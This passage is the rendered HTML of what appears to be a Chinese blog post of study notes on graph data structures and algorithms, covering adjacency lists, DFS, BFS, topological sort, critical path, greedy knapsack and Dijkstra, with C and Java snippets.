class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> MVNum 100            <span class="comment">//最大顶点数 </span></span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ArcNode</span>&#123;</span>      <span class="comment">//边结点 </span></span><br><span class="line">    <span class="type">int</span> adjvex;                        <span class="comment">//该边所指向的顶点的位置 </span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">ArcNode</span> * <span class="title">nextarc</span>;</span>   <span class="comment">//指向下一条边的指针 </span></span><br><span class="line">    OtherInfo info;              <span class="comment">//和边相关的信息 </span></span><br><span class="line">&#125;ArcNode; </span><br><span class="line">-----------------------------------------------------</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">VNode</span>&#123;</span> </span><br><span class="line">    VerTexType data;        <span class="comment">//顶点信息 </span></span><br><span class="line">    ArcNode * firstarc;     <span class="comment">//指向第一条依附该顶点的边的指针 </span></span><br><span class="line">&#125;VNode;               </span><br><span class="line">-----------------------------------------------------</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span> </span><br><span class="line">    VNode vertices[MVNum];  <span class="comment">//邻接表 </span></span><br><span class="line">    <span class="type">int</span> vexnum, arcnum;          <span class="comment">//图的当前顶点数和边数 </span></span><br><span class="line">&#125;ALGraph; </span><br></pre></td></tr></table></figure><h4 id="利用邻接表创建无向网络"><a href="#利用邻接表创建无向网络" class="headerlink" title="利用邻接表创建无向网络"></a>利用邻接表创建无向网络</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">CreateUDG</span><span class="params">(ALGraph &amp;G)</span>&#123; </span><br><span class="line">　　<span class="comment">//采用邻接表表示法，创建无向图G </span></span><br><span class="line">　  <span class="built_in">cin</span>&gt;&gt;G.vexnum&gt;&gt;G.arcnum;               <span class="comment">//输入总顶点数，总边数 </span></span><br><span class="line">    <span class="keyword">for</span>(i = <span class="number">0</span>; i&lt;G.vexnum; ++i)&#123;          <span class="comment">//输入各点，构造表头结点表 </span></span><br><span class="line">       <span class="built_in">cin</span>&gt;&gt; G.vertices[i].data;           <span class="comment">//输入顶点值 </span></span><br><span class="line">       G.vertices[i].firstarc=<span class="literal">NULL</span>;       <span class="comment">//初始化表头结点的指针域为NULL </span></span><br><span class="line">    &#125;<span class="comment">//for </span></span><br><span class="line">    <span class="keyword">for</span>(k = <span class="number">0</span>; k&lt;G.arcnum;++k)&#123;        <span class="comment">//输入各边，构造邻接表 </span></span><br><span class="line">       <span class="built_in">cin</span>&gt;&gt;v1&gt;&gt;v2;                 <span class="comment">//输入一条边依附的两个顶点 </span></span><br><span class="line">       i = LocateVex(G, v1);  j = LocateVex(G, v2);    </span><br><span class="line">       p1=new ArcNode;               <span class="comment">//生成一个新的边结点*p1 </span></span><br><span class="line">　　  p1-&gt;adjvex=j;                   <span class="comment">//邻接点序号为j </span></span><br><span class="line">　  　p1-&gt;nextarc= G.vertices[i].firstarc;  G.vertices[i].firstarc=p1;  </span><br><span class="line">      <span class="comment">//将新结点*p1插入顶点vi的边表头部 </span></span><br><span class="line">      p2=new ArcNode; <span class="comment">//生成另一个对称的新的边结点*p2 </span></span><br><span class="line">　　  p2-&gt;adjvex=i;                   <span class="comment">//邻接点序号为i </span></span><br><span class="line">　  　p2-&gt;nextarc= G.vertices[j].firstarc;  G.vertices[j].firstarc=p2;  </span><br><span class="line">      <span class="comment">//将新结点*p2插入顶点vj的边表头部 </span></span><br><span class="line">    &#125;<span class="comment">//for </span></span><br><span class="line">    <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//CreateUDG </span></span><br></pre></td></tr></table></figure><p>对于任一确定的无向图，邻接矩阵是唯一的（行列号与顶点编号一致），但邻接表不唯一（链接次序与顶点编号无关）。<br>邻接矩阵的空间复杂度为O(n2),而邻接表的空间复杂度为O(n+e)。</p><p>用途：邻接矩阵多用于稠密图；而邻接表多用于稀疏图</p><h3 id="十字链表表示法"><a href="#十字链表表示法" class="headerlink" title="十字链表表示法"></a>十字链表表示法</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span>  <span class="class"><span class="keyword">struct</span>  <span class="title">arcnode</span>     //边结点</span></span><br><span class="line"><span class="class">&#123;</span>   <span class="type">int</span>   tailvex,  headvex;  <span class="comment">//弧尾、弧头在表头数组中位置</span></span><br><span class="line">     <span class="class"><span class="keyword">struct</span>   <span class="title">arcnode</span>   *<span class="title">hlink</span>；//指向弧头相同的下一条弧</span></span><br><span class="line"><span class="class">     <span class="keyword">struct</span>   <span class="title">arcnode</span>   *<span class="title">tlink</span>;</span>    <span class="comment">//指向弧尾相同的下一条弧</span></span><br><span class="line">&#125;DGraphEdge;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span>  <span class="class"><span class="keyword">struct</span>  <span class="title">dnode</span>  //顶点结点</span></span><br><span class="line"><span class="class">&#123;</span>   <span class="type">int</span>   data;  <span class="comment">//与顶点有关信息</span></span><br><span class="line">     <span class="class"><span class="keyword">struct</span>   <span class="title">arcnode</span>   *<span class="title">firstin</span>；//指向以该顶点为弧头的第一个弧结点</span></span><br><span class="line"><span class="class">     <span class="keyword">struct</span>   <span class="title">arcnode</span>   *<span class="title">firstout</span>;</span> <span class="comment">//指向以该顶点为弧尾的第一个弧结点</span></span><br><span class="line">&#125;DGraph;</span><br><span class="line">DGraph g[M];    <span class="comment">//g[0]不用</span></span><br></pre></td></tr></table></figure><p>十字链表<br>(1) 用于表示有向图<br>(2) 邻接表和逆邻接表的组合</p><h4 id="邻接多重表表示法"><a href="#邻接多重表表示法" class="headerlink" title="邻接多重表表示法"></a>邻接多重表表示法</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span>   <span class="class"><span class="keyword">struct</span>  <span class="title">arcnode</span>  //边结点</span></span><br><span class="line"><span class="class">&#123;</span>   <span class="type">int</span>  mark;   <span class="comment">//标志域</span></span><br><span class="line">     <span class="type">int</span>  ivex, jvex;  <span class="comment">//该边依附的两个顶点在表头数组中位置</span></span><br><span class="line">     <span class="class"><span class="keyword">struct</span>  <span class="title">arcnode</span>  *<span class="title">ilink</span>, *<span class="title">jlink</span>;</span> <span class="comment">//分别指向依附于ivex和jvex的</span></span><br><span class="line">                                                           下一条边</span><br><span class="line">&#125;NDGraphEdge;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span>   <span class="class"><span class="keyword">struct</span>  <span class="title">dnode</span>  //顶点结点</span></span><br><span class="line"><span class="class">&#123;</span>    <span class="type">int</span>   data;   <span class="comment">//存与顶点有关的信息</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span>   <span class="title">arcnode</span>  *<span class="title">firstedge</span>;</span>  <span class="comment">//指向第一条依附于该顶点的边</span></span><br><span class="line">&#125;NDGraph;</span><br><span class="line">NDGraph G[M];   <span class="comment">//G[0]不用</span></span><br></pre></td></tr></table></figure><p>邻接多重表：<br>(1) 用于表示无向图<br>(2) 每条边只表示一次的邻接表</p><h3 id="图的遍历"><a href="#图的遍历" class="headerlink" title="图的遍历"></a>图的遍历</h3><h4 id="DFS算法"><a href="#DFS算法" class="headerlink" title="DFS算法"></a>DFS算法</h4><p>邻接矩阵</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">DFS</span><span class="params">(AMGraph G, <span class="type">int</span> v)</span>&#123;        <span class="comment">//图G为邻接矩阵类型 </span></span><br><span class="line">  <span class="built_in">cout</span>&lt;&lt;v;  visited[v] = <span class="literal">true</span>;  <span class="comment">//访问第v个顶点</span></span><br><span class="line">  <span class="keyword">for</span>(w = <span class="number">0</span>; w&lt; G.vexnum; w++)  <span class="comment">//依次检查邻接矩阵v所在的行  </span></span><br><span class="line">        <span class="keyword">if</span>((G.arcs[v][w]!=<span class="number">0</span>)&amp;&amp; (!visited[w]))  DFS(G, w); </span><br><span class="line">      <span class="comment">//w是v的邻接点，如果w未访问，则递归调用DFS </span></span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span> </span><br><span class="line">      VerTexType vexs[MVNum]; <span class="comment">//顶点表 </span></span><br><span class="line">      ArcType arcs[MVNum][MVNum]; <span class="comment">//邻接矩阵 </span></span><br><span class="line">      <span class="type">int</span> vexnum,arcnum; <span class="comment">//图的当前点数和边数 </span></span><br><span class="line">&#125;AMGraph; </span><br></pre></td></tr></table></figure><p>邻接表</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">DFS</span><span class="params">(ALGraph G, <span class="type">int</span> v)</span>&#123;        <span class="comment">//图G为邻接表类型 </span></span><br><span class="line">   <span class="built_in">cout</span>&lt;&lt;v;  visited[v] = <span class="literal">true</span>;    <span class="comment">//访问第v个顶点</span></span><br><span class="line">   p= G.vertices[v].firstarc;     <span class="comment">//p指向v的边链表的第一个边结点 </span></span><br><span class="line">   <span class="keyword">while</span>(p!=<span class="literal">NULL</span>)&#123;              <span class="comment">//边结点非空 </span></span><br><span class="line">     w=p-&gt;adjvex;               <span class="comment">//表示w是v的邻接点 </span></span><br><span class="line">     <span class="keyword">if</span>(!visited[w])  DFS(G, w);<span class="comment">//如果w未访问，则递归调用DFS </span></span><br><span class="line">     p=p-&gt;nextarc;                <span class="comment">//p指向下一个边结点 </span></span><br><span class="line">   &#125; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ArcNode</span>&#123;</span></span><br><span class="line">    <span class="type">int</span> adjvex;  </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">ArcNode</span> * <span class="title">nextarc</span>;</span> </span><br><span class="line">    OtherInfo info;           </span><br><span class="line">&#125;ArcNode; </span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">VNode</span>&#123;</span> </span><br><span class="line">    VerTexType data; </span><br><span class="line">    ArcNode * firstarc; </span><br><span class="line">&#125;VNode; </span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span> </span><br><span class="line">    VNode vertices[MVNum]; </span><br><span class="line">    <span class="type">int</span> vexnum, arcnum; &#125;ALGraph; </span><br></pre></td></tr></table></figure><h4 id="效率分析"><a href="#效率分析" class="headerlink" title="效率分析"></a>效率分析</h4><p>用邻接矩阵来表示图，遍历图中每一个顶点都要从头扫描该顶点所在行，时间复杂度为O(n2)。<br>用邻接表来表示图，需要访问n个头结点和2e 个表结点，时间复杂度为O(n+e)。</p><p>结论：<br>稠密图适于在邻接矩阵上进行深度遍历；<br>稀疏图适于在邻接表上进行深度遍历</p><h3 id="BFS"><a href="#BFS" class="headerlink" title="BFS"></a>BFS</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">BFS</span> <span class="params">(Graph G, <span class="type">int</span> v)</span>&#123; </span><br><span class="line">    <span class="comment">//按广度优先非递归遍历连通图G </span></span><br><span class="line">    <span class="built_in">cout</span>&lt;&lt;v; visited[v] = <span class="literal">true</span>;     <span class="comment">//访问第v个顶点</span></span><br><span class="line">    InitQueue(Q);              <span class="comment">//辅助队列Q初始化，置空         </span></span><br><span class="line">    EnQueue(Q, v);            <span class="comment">//v进队 </span></span><br><span class="line">    <span class="keyword">while</span>(!QueueEmpty(Q))&#123;   <span class="comment">//队列非空 </span></span><br><span class="line">       DeQueue(Q, u);        <span class="comment">//队头元素出队并置为u </span></span><br><span class="line">       <span class="keyword">for</span>(w = FirstAdjVex(G, u); w&gt;=<span class="number">0</span>; w = NextAdjVex(G, u, w)) </span><br><span class="line">       <span class="keyword">if</span>(!visited[w])&#123;               <span class="comment">//w为u的尚未访问的邻接顶点 </span></span><br><span class="line">             <span class="built_in">cout</span>&lt;&lt;w; visited[w] = <span class="literal">true</span>;</span><br><span class="line">             EnQueue(Q, w); <span class="comment">//w进队 </span></span><br><span class="line">          &#125;<span class="comment">//if </span></span><br><span class="line">    &#125;<span class="comment">//while </span></span><br><span class="line">&#125;<span class="comment">//BFS </span></span><br></pre></td></tr></table></figure><h4 id="效率分析-1"><a href="#效率分析-1" class="headerlink" title="效率分析"></a>效率分析</h4><p>如果使用邻接矩阵，则BFS对于每一个被访问到的顶点，都要循环检测矩阵中的整整一行（ n 个元素），总时间代价为O(n2)。<br>用邻接表来表示图，需要访问 n个头结点和2e个表节点，时间复杂度为O(n+e)。</p><h3 id="DFS和BFS效率比较"><a href="#DFS和BFS效率比较" class="headerlink" title="DFS和BFS效率比较"></a>DFS和BFS效率比较</h3><p>空间复杂度相同，都是O(n)(借用了堆栈或队列）；</p><p>时间复杂度只与存储结构（邻接矩阵或邻接表）有关，而与搜索路径无关</p><h3 id="AOV网和AOE网"><a href="#AOV网和AOE网" class="headerlink" title="AOV网和AOE网"></a>AOV网和AOE网</h3><p>① AOV网(Activity  On Vertices)—用顶点表示活动的网络<br>② AOE网(Activity  On Edges)—用边表示活动的网络</p><h4 id="拓扑排序算法的实现"><a href="#拓扑排序算法的实现" class="headerlink" title="拓扑排序算法的实现"></a>拓扑排序算法的实现</h4><p>以邻接表作存储结构<br>把邻接表中所有入度为0的顶点进栈<br>栈非空时，输出栈顶元素Vj并退栈；在邻接表中查找Vj的直接后继Vk，把Vk的入度减1；若Vk的入度为0则进栈<br>重复上述操作直至栈空为止。若栈空时输出的顶点个数不是n，则有向图有环；否则，拓扑排序完毕</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">node</span></span></span><br><span class="line"><span class="class">&#123;</span>   <span class="type">int</span> vex;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">node</span> *<span class="title">next</span>;</span></span><br><span class="line">&#125;GraphNode;</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">tnode</span></span></span><br><span class="line"><span class="class">&#123;</span>   <span class="type">int</span> vexdata;</span><br><span class="line">    <span class="type">int</span> in;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">node</span> *<span class="title">link</span>;</span></span><br><span class="line">&#125;Graph;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">toposort</span><span class="params">(Graph g[],<span class="type">int</span> n)</span></span><br><span class="line">&#123;  <span class="type">int</span> top,m,k,j,s[M];</span><br><span class="line">   GraphNode *p;</span><br><span class="line">   top=<span class="number">0</span>; m=<span class="number">0</span>;</span><br><span class="line">   <span class="keyword">for</span>(j=<span class="number">1</span>;j&lt;=n;j++)</span><br><span class="line">     <span class="keyword">if</span>(g[j].in==<span class="number">0</span>)  s[top++]=j;</span><br><span class="line">   <span class="keyword">while</span>(top&gt;<span class="number">0</span>)</span><br><span class="line">   &#123;  j=s[--top];</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;%d  &quot;</span>,g[j].vexdata);</span><br><span class="line">      m++;</span><br><span class="line">      p=g[j].link;</span><br><span class="line">      <span class="keyword">while</span>(p!=<span class="literal">NULL</span>)</span><br><span class="line">      &#123;  k=p-&gt;vex;</span><br><span class="line">   g[k].in--;</span><br><span class="line">   <span class="keyword">if</span>(g[k].in==<span class="number">0</span>)</span><br><span class="line">      s[top++]=k;</span><br><span class="line">      p=p-&gt;next;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">&quot;\nm=%d\n&quot;</span>,m);</span><br><span class="line">   <span class="keyword">if</span>(m&lt;n)  <span class="built_in">printf</span>(<span class="string">&quot;The network has a cycle\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="关键路径"><a href="#关键路径" class="headerlink" title="关键路径"></a>关键路径</h4><p>AOE网(Activity On Edge)——也叫边表示活动的网。AOE网是一个带权的有向无环图，其中顶点表示事件，弧表示活动，权表示活动持续时间<br>起点——表示整个工程的开始点，也称源点<br>终点——表示整个工程的结束点，也称汇点<br>路径长度——路径上各活动持续时间之和<br>关键路径——起点到终点的最长路径<br>Ve(j)——表示事件Vj的最早发生时间<br>Vl(j)——表示事件Vj的最迟发生时间<br>e(k)——表示活动ak的最早开始时间<br>l(k)——表示活动ak的最迟开始时间<br>l(k) – e(k)——表示完成活动ak的时间余量<br>关键活动——关键路径上的活动，即l(k)&#x3D;e(k)的活动</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231228001642735.png" alt="image-20231228001642735"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231228004346092.png" alt="image-20231228004346092"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">TopoLogicalOrder</span><span class="params">( Graph G, Stack &amp;T)</span>&#123;</span><br><span class="line"><span class="comment">//T 拓扑排序栈</span></span><br><span class="line">FindInDegree(G, indegree); <span class="comment">//求各的顶点的入度</span></span><br><span class="line">Stack S; <span class="comment">//入度为0 的顶点栈</span></span><br><span class="line">InitStack(T); count=<span class="number">0</span>; ve[<span class="number">0.</span>.G,vexnum<span class="number">-1</span>]=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(!stackEmpty(S))&#123;</span><br><span class="line">Pop(S,j); Push(T,j);++count;</span><br><span class="line"><span class="keyword">for</span> (p=G.vertices[j].firstarc; p; p=p-&gt;nextarc)&#123;</span><br><span class="line">k=p-&gt;adjvex;</span><br><span class="line"><span class="keyword">if</span>(--indegree[k]==<span class="number">0</span>)Push(S,k);</span><br><span class="line"><span class="keyword">if</span>(ve[j]+*(p-&gt;info)&gt;ve[k]) ve[k]=ve[j]+*(p-&gt;info);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(count&lt;G.vexnum) <span class="keyword">return</span> ERROR;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Status <span class="title function_">CriticalPath</span><span class="params">(Graph G)</span>&#123;</span><br><span class="line">Stack T;</span><br><span class="line"><span class="keyword">if</span>(!TopoLogicalOrder(G,T) <span class="keyword">return</span> ERROR; <span class="comment">//拓扑排序时已计算最早发生时间</span></span><br><span class="line">vl[<span class="number">0.</span>.G.vexnum<span class="number">-1</span>]=ve[G.vexnum<span class="number">-1</span>]; <span class="comment">//初始化最迟发生时间</span></span><br><span class="line"><span class="keyword">while</span>(!StackEmpty(T))&#123;</span><br><span class="line"><span class="keyword">for</span>(Popo(T,j), p=G.vertices[j].firstarc; p; p=p-&gt;nextarc)&#123;</span><br><span class="line">k=p-&gt;adjvex; dut=*(p-&gt;info); <span class="comment">//dut&lt;j,k&gt;</span></span><br><span class="line"><span class="keyword">if</span>(vl[k]-dut&lt;vl[j]) vl[j]=vl[k]-dut</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span>(j=<span class="number">0</span>; j&lt;G.vexnum; ++j)&#123;</span><br><span class="line"><span class="keyword">for</span>(p=G.vertices[j].firstarc; p; p=p-&gt;nextarc)&#123;</span><br><span class="line">k=p-&gt;adjvex; dut=*(p-&gt;info);</span><br><span class="line">ee=ve[j]; el=vl[k]-dut;</span><br><span class="line">tag=(ee==el)?<span class="string">&quot;*&quot;</span>:<span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="built_in">printf</span>(j,k,dut,ee,el,tag); <span class="comment">//输出关键活动</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="贪心算法"><a href="#贪心算法" class="headerlink" title="贪心算法"></a>贪心算法</h3><h4 id="求解分数背包问题"><a href="#求解分数背包问题" class="headerlink" title="求解分数背包问题"></a>求解分数背包问题</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">public <span class="type">static</span> <span class="type">float</span> <span class="title function_">knapsack</span><span class="params">(<span class="type">float</span> c, <span class="type">float</span> [] w, <span class="type">float</span> [] v, <span class="type">float</span> [] x)</span>&#123;</span><br><span class="line"><span class="type">int</span> n=v.length;</span><br><span class="line">Element [] d = new Element [n];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; n; i++) d[i] = new Element(w[i],v[i],i);</span><br><span class="line">MergeSort.mergeSort(d);</span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="type">float</span> opt=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;n;i++) x[i]=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;n;i++) &#123;</span><br><span class="line"><span class="keyword">if</span> (d[i].w&gt;c) <span class="keyword">break</span>;</span><br><span class="line">x[d[i].i]=<span class="number">1</span>;</span><br><span class="line">opt+=d[i].v;</span><br><span class="line">c-=d[i].w;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (i&lt;n)&#123;</span><br><span class="line">x[d[i].i]=c/d[i].w;</span><br><span class="line">opt+=x[d[i].i]*d[i].v;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> opt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于0-1背包问题，贪心选择之所以不能得到最优解是因为在这种情况下，它无法保证最终能将背包装满，部分闲置的背包空间使每公斤背包空间的价值降低了。事实上，在考虑0-1背包问题时，应比较选择该物品和不选择该物品所导致的最终方案，然后再作出最好选择。由此就导出许多互相重叠的子问题。这正是该问题可用动态规划算法求解的另一重要特征。<br>实际上也是如此，动态规划算法的确可以有效地解0-1背包问题。</p><h4 id="求解活动安排问题"><a href="#求解活动安排问题" class="headerlink" title="求解活动安排问题"></a>求解活动安排问题</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">public <span class="type">static</span> <span class="type">int</span> <span class="title function_">greedySelector</span><span class="params">(<span class="type">int</span> [] s, <span class="type">int</span> [] f, boolean a[])</span></span><br><span class="line">   &#123;  sort all the job in ascending order of finishing time, </span><br><span class="line">      and relabel them.</span><br><span class="line">      <span class="type">int</span> n=s.length<span class="number">-1</span>;</span><br><span class="line">      a[<span class="number">1</span>]=<span class="literal">true</span>;</span><br><span class="line">      <span class="type">int</span> j=<span class="number">1</span>;</span><br><span class="line">      <span class="type">int</span> count=<span class="number">1</span>;</span><br><span class="line">      <span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">2</span>;i&lt;=n;i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (s[i]&gt;=f[j]) &#123;</span><br><span class="line">          a[i]=<span class="literal">true</span>;</span><br><span class="line">          j=i;</span><br><span class="line">          count++;</span><br><span class="line">          &#125;\\<span class="keyword">if</span></span><br><span class="line">        <span class="keyword">else</span> a[i]=<span class="literal">false</span>;</span><br><span class="line">      &#125;\\<span class="keyword">for</span></span><br><span class="line">      <span class="keyword">return</span> count;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><h3 id="求解最小生成树"><a href="#求解最小生成树" class="headerlink" title="求解最小生成树"></a>求解最小生成树</h3><p>Prime算法: 归并顶点，与边数无关，适于稠密网<br>Kruskal算法：归并边，适于稀疏网</p><p>这个看图掌握一下吧。</p><h4 id="效率分析-2"><a href="#效率分析-2" class="headerlink" title="效率分析"></a>效率分析</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231228004929299.png" alt="image-20231228004929299"></p><h4 id="最短路径问题"><a href="#最短路径问题" class="headerlink" title="最短路径问题"></a>最短路径问题</h4><p>一、 单源最短路径—用Dijkstra（迪杰斯特拉）算法<br>二、所有顶点间的最短路径—用Floyd（弗洛伊德）算法</p><h6 id="迪杰斯特拉算法"><a href="#迪杰斯特拉算法" class="headerlink" title="迪杰斯特拉算法"></a>迪杰斯特拉算法</h6><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title 